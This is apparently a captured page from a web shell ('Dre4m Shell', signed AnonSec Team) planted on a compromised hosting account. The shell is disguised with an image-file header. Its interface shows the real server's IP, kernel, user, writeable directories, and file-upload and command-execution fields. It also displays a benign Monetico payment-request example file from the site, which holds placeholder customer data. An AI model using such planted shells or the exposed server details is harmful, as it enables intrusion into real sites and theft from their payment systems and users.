ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/CE_payment/Monetico/Examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/CE_payment/Monetico/Examples/FullOrderContextExample.php
<?php

namespace MoneticoDemoWebKit\Examples;

use MoneticoDemoWebKit\Monetico\Collections\Currency;
use MoneticoDemoWebKit\Monetico\Collections\Language;
use MoneticoDemoWebKit\Monetico\Request\OrderContext;
use MoneticoDemoWebKit\Monetico\Request\OrderContextBilling;
use MoneticoDemoWebKit\Monetico\Request\OrderContextClient;
use MoneticoDemoWebKit\Monetico\Request\OrderContextShipping;
use MoneticoDemoWebKit\Monetico\Request\OrderContextShoppingCart;
use MoneticoDemoWebKit\Monetico\Request\OrderContextShoppingCartItem;
use MoneticoDemoWebKit\Monetico\Request\PaymentRequest;

/**
 *  Example of a payment request with a complete order context
 */
class FullOrderContextExample implements IPaymentRequestExample
{

    /**
     * @var PaymentRequest
     */
    private $paymentRequest;

    public function __construct()
    {
        // Do NOT generate reference like this in production
        // since different clients could have the same reference if they try to pay at the same second
        $generatedReference = uniqid("ref");
        $billing = new OrderContextBilling("18 rue de l'adresse", "Paris", "75000", "FR");
        $billing->setPhone("+33-123456789"); // see technical documentation for correct formatting
        $billing->setCivility("Mr");
        $billing->setFirstName("John");
        $billing->setLastName("Doe");
        $billing->setName("John Doe");
        $billing->setAddress("18 rue de l'adresse 75000 Paris");
        $billing->setCountrySubdivision("FR-75");
        $billing->setEmail("john.doe@unknown.com");

        $client = new OrderContextClient();
        $client->setCivility("Mr");
        $client->setFirstName("John");
        $client->setLastName("Doe");
        $client->setName("John Doe");
        $client->setAddress("18 rue de l'adresse 75000 Paris");
        $client->setAddressLine1("18 rue de l'adresse");
        $client->setCity("Paris");
        $client->setPostalCode("75000");
        $client->setCountry("FR");
        $client->setCountrySubdivision("FR-75");
        $client->setEmail("john.doe@unknown.com");
        $client->setPhone("+33-123456789"); // see technical documentation for correct formatting
        $client->setAccountAge(new \DateTime('2015-11-28'));
        $client->setAddCardNbLast24Hours(0);
        $client->setAuthenticationMethod("own_credentials");
        $client->setBirthCity("Paris");
        $client->setBirthCountry("FR");
        $client->setBirthCountrySubdivision("FR-75");
        $client->setBirthdate(new \DateTime('1978-03-27'));
        $client->setBirthPostalCode("75000");
        $client->setLast24HoursTransactions(1);
        $client->setLast6MonthsPurchase(3);
        $client->setLastPasswordChange(new \DateTime('2020-01-18'));
        $client->setLastYearTransactions(8);
        $client->setNationalIDNumber("123456789012345");
        $client->setPaymentMeanAge(new \DateTime('2018-01-01'));
        $client->setPriorAuthenticationMethod("challenge");
        $client->setPriorAuthenticationTimestamp(new \DateTime('-25 minutes'));
        $client->setSuspiciousAccountActivity(false);
        $client->setLastAccountModification(new \DateTime('2020-09-02'));
        $client->setAuthenticationTimestamp((new \DateTime('-5 minutes')));

        $shipping = new OrderContextShipping();
        $shipping->setCivility("Mr");
        $shipping->setFirstName("John");
        $shipping->setLastName("Doe");
        $shipping->setName("John Doe");
        $shipping->setAddress("18 rue de l'adresse 75000 Paris");
        $shipping->setAddressLine1("18 rue de l'adresse");
        $shipping->setCity("Paris");
        $shipping->setPostalCode("75000");
        $shipping->setCountry("FR");
        $shipping->setCountrySubdivision("FR-75");
        $shipping->setEmail("john.doe@unknown.com");
        $shipping->setPhone("+33-123456789"); // see technical documentation for correct formatting
        $shipping->setDeliveryTimeframe("three_day");
        $shipping->setFirstUseDate(new \DateTime('2017-02-23'));
        $shipping->setMatchBillingAddress(true);
        $shipping->setShipIndicator("billing_address");

        $shoppingCartItem = new OrderContextShoppingCartItem();
        $shoppingCartItem->setName("Friteuse");
        $shoppingCartItem->setDescription("Pour faire des frites :)");
        $shoppingCartItem->setProductCode("electronic_good");
        $shoppingCartItem->setProductRisk("normal");
        $shoppingCartItem->setQuantity(1);
        $shoppingCartItem->setUnitPrice(12345);
        $shoppingCartItem->setProductSKU("REF-FRIT-267");
        $shoppingCartItem->setImageURL("http://www.siteweb.ext/image-friteuse.png");

        $shoppingCart = new OrderContextShoppingCart();
        $shoppingCart->setGiftCardAmount(1000);
        $shoppingCart->setGiftCardCount(1);
        $shoppingCart->setGiftCardCurrency("EUR");
        $shoppingCart->setPreOrderDate(new \DateTime("-30 days"));
        $shoppingCart->setPreorderIndicator(true);
        $shoppingCart->setReorderIndicator(false);
        $shoppingCart->setShoppingCartItems([$shoppingCartItem]);

        $context = new OrderContext($billing);
        $context->setOrderContextClient($client);
        $context->setOrderContextShipping($shipping);
        $context->setOrderContextShoppingCart($shoppingCart);

        $paymentRequest = new PaymentRequest($generatedReference, 123.45, Currency::EUR, Language::FR, $context);
        $paymentRequest->setTexteLibre('Do not forget to HTML-encode every field value otherwise characters like " or \' might cause issues');
        /**
         * To set the url_retour_ok and url_retour_err manually, please use these functions
         * $paymentRequest->setUrlRetourOk("https://www.mywebsite.com");
         * $paymentRequest->setUrlRetourErreur();
         */
        $this->setPaymentRequest($paymentRequest);
    }

    public function getDescription()
    {
        return "This example shows an example of payment request with the order context completely filled.";
    }

    public function getName()
    {
        return "Complete order context example";
    }

    /**
     * @return \MoneticoDemoWebKit\Monetico\Request\PaymentRequest
     */
    public function getPaymentRequest(): \MoneticoDemoWebKit\Monetico\Request\PaymentRequest
    {
        return $this->paymentRequest;
    }

    /**
     * @param \MoneticoDemoWebKit\Monetico\Request\PaymentRequest $paymentRequest
     */
    public function setPaymentRequest(\MoneticoDemoWebKit\Monetico\Request\PaymentRequest $paymentRequest): void
    {
        $this->paymentRequest = $paymentRequest;
    }
}

Anon7 - 2022
AnonSec Team